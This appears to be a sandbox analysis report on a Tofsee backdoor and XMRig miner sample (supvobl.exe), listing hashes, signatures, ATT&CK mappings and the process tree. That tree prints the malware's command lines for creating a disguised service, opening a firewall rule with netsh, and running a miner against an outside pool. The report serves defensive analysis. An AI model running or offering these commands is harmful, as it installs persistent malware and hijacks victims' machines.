Overview

overview

10

Static

static

supvobl.exe

windows7_x64

10

supvobl.exe

windows10_x64

10

Resubmissions

23-01-2023 11:03

230123-m5z6eaef4s 10

09-05-2020 13:43

200509-9mgqkb9xn6 10

Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    09-05-2020 13:43

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General

  • Target

    supvobl.exe

  • Size

    12.5MB

  • MD5

    be286c784044379ca9a6ca6e7211a29f

  • SHA1

    bf8010a0e4b7ae88095bd9ee303707f4c0da549e

  • SHA256

    d05cd710559cb6a23a84f44bfe88b91582862c7d70134cf71807ae0c49964993

  • SHA512

    862e1beffa2cd58cd606a9edf2be79a03ca4a93f2edd6528e91eed2f68ad889e2e76dd43f164cd8f7eb02567504cbcf9581f730177f841a3e5a0298b48674b13

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 1 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\supvobl.exe
    "C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xtcaffgw\
      2⤵
        PID:504
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wrvndoqo.exe" C:\Windows\SysWOW64\xtcaffgw\
        2⤵
          PID:924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xtcaffgw binPath= "C:\Windows\SysWOW64\xtcaffgw\wrvndoqo.exe /d\"C:\Users\Admin\AppData\Local\Temp\supvobl.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1328
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description xtcaffgw "wifi internet conection"
            2⤵
              PID:1720
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start xtcaffgw
              2⤵
                PID:2192
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2720
              • C:\Windows\SysWOW64\xtcaffgw\wrvndoqo.exe
                C:\Windows\SysWOW64\xtcaffgw\wrvndoqo.exe /d"C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3456
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3876
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe --algo=cn-heavy/tube -o tube.pool.gntl.co.uk:8080 -u bs3DRuaSUbRjZ3zryBKc1bUv4dxVdTewBfJBQcrHkbC5g4x3pc2QSnebvXwfi3DRoFNFLExjV8MDwBCgejSS6bcr2xFUqWnXA+58000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3720

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              2
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              3
              T1112

              Credential Access

              Discovery

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\wrvndoqo.exe
                MD5

                443ad3b0c809b964bfc5075ee35f97f9

                SHA1

                7568cfd901a95f45ee4aca9fff49c187de316c86

                SHA256

                4e4702d87f9e5dbf787369725d80987ed67793f9b6b41ecb3d21ed2e76c85481

                SHA512

                b63dcd57485d81352e8756d2676317ebacde645dfb48f81582eab5db165cd8a5e8d83bd995bf34da49ddf7eb49eea4202a4962371a8ea18815ff20ed6c48ff49

                Download Submit
              • C:\Windows\SysWOW64\xtcaffgw\wrvndoqo.exe
                MD5

                443ad3b0c809b964bfc5075ee35f97f9

                SHA1

                7568cfd901a95f45ee4aca9fff49c187de316c86

                SHA256

                4e4702d87f9e5dbf787369725d80987ed67793f9b6b41ecb3d21ed2e76c85481

                SHA512

                b63dcd57485d81352e8756d2676317ebacde645dfb48f81582eab5db165cd8a5e8d83bd995bf34da49ddf7eb49eea4202a4962371a8ea18815ff20ed6c48ff49

                Download Submit
              • memory/2376-1-0x0000000003480000-0x0000000003481000-memory.dmp
                Filesize

                4KB

                Download
              • memory/2376-0-0x0000000003113000-0x0000000003114000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3456-4-0x00000000030EC000-0x00000000030EE000-memory.dmp
                Filesize

                8KB

                Download
              • memory/3456-5-0x0000000003490000-0x0000000003491000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3720-14-0x0000000002260000-0x0000000002351000-memory.dmp
                Filesize

                964KB

                Download
              • memory/3876-6-0x0000000002AC0000-0x0000000002AD5000-memory.dmp
                Filesize

                84KB

                Download
              • memory/3876-9-0x0000000002B70000-0x0000000002B76000-memory.dmp
                Filesize

                24KB

                Download
              • memory/3876-10-0x0000000002BD0000-0x0000000002BE0000-memory.dmp
                Filesize

                64KB

                Download
              • memory/3876-11-0x0000000002BE0000-0x0000000002BE5000-memory.dmp
                Filesize

                20KB

                Download
              • memory/3876-12-0x0000000009010000-0x000000000941B000-memory.dmp
                Filesize

                4.0MB

                Download
              • memory/3876-13-0x0000000002CF0000-0x0000000002CF7000-memory.dmp
                Filesize

                28KB

                Download
              • memory/3876-8-0x0000000004840000-0x0000000004A4F000-memory.dmp
                Filesize

                2.1MB

                Download